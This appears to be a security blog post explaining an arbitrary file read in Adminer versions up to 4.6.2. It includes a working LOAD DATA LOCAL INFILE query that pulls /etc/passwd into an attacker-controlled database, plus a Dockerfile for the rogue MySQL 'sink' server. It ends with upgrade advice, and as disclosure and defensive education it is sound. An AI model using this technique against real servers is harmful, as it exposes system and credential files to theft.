# Exploiting Adminer's file read vulnerability with LOCAL DATA

Podalirius · 2021-12-12

<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/>

Improper Access Control in Adminer versions <= 4.6.2 (fixed in version 4.6.3) allows an attacker to achieve Arbitrary File Read on the server by connecting a remote MySQL database to the Adminer.

## Introduction

Improper Access Control in Adminer versions <= 4.6.2 (fixed in version 4.6.3) allows an attacker to achieve Arbitrary File Read on the server by connecting a remote MySQL database to the Adminer.

## Affected products and versions

To exploit this vulnerability, an attacker needs to access the login page of Adminer and connect back to a remote MySQL database he controls. Then he can read and exfiltrate local files on the Adminer using the SQL query `LOAD DATA LOCAL INFILE`

## Exploitation

In order to exploit this vulnerability, an attacker needs to access the login page of Adminer and connect back to a remote MySQL database he controls:

![](<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/adminer_login_page.png>)

After this, the attacker goes to the "SQL Command" page on the Adminer:

![](<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/sql_command_page.png>)

With the following SQL command, the attacker can read a local file on the Adminer server line and load it into his remote database:

```sql
LOAD DATA local INFILE '/etc/passwd' INTO TABLE lfr_sink_table fields TERMINATED BY "\n";
```

![](<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/sql_load_data.png>)

Once this is done, the attacker can view the contents of the read file with `SELECT * FROM lfr_sink_table;`:

![](<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/sql_etc_passwd.png>)

All Adminer versions between 1.12.0 and 4.6.2 (included) are vulnerable:

![Adminer vulnerable versions](<https://podalirius.net/en/articles/writing-an-exploit-for-adminer-4.6.2-arbitrary-file-read-vulnerability/adminer_versions_0.5s.gif>)

### Preparing a container for MySQL

```
FROM debian:latest

ENV SINKUSER="lfr_sink_user"
ENV SINKPASS="lfr_sink_password"

ENV DEBIAN_FRONTEND=noninteractive
RUN apt -y update; apt -y install default-mysql-server default-mysql-client

RUN sed -i 's/^.*bind-address.*=.*$/bind-address = 0.0.0.0/g' /etc/mysql/mariadb.conf.d/50-server.cnf

RUN service mysql start;\
    mysql -u root -e "CREATE USER '${SINKUSER}'@'%' IDENTIFIED BY '${SINKPASS}'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = '${SINKUSER}'; GRANT ALL PRIVILEGES ON *.* TO '${SINKUSER}'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" ;\
    mysql -u root -e "CREATE DATABASE IF NOT EXISTS lfr_sink_db; SET GLOBAL local_infile = true;" ;\
    mysql -u root -e "USE lfr_sink_db; CREATE TABLE IF NOT EXISTS lfr_sink_table (a varchar(255));"

EXPOSE 3306

CMD ["mysqld"]
```

## Mitigations

In order to fix this vulnerability you need to update your Adminer to the latest version or a version >= 4.6.3. This vulnerability was fixed by the editor in version [4.6.3](https://github.com/vrana/adminer/releases/tag/v4.6.3).

## References
 - http://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
 - https://www.adminer.org/
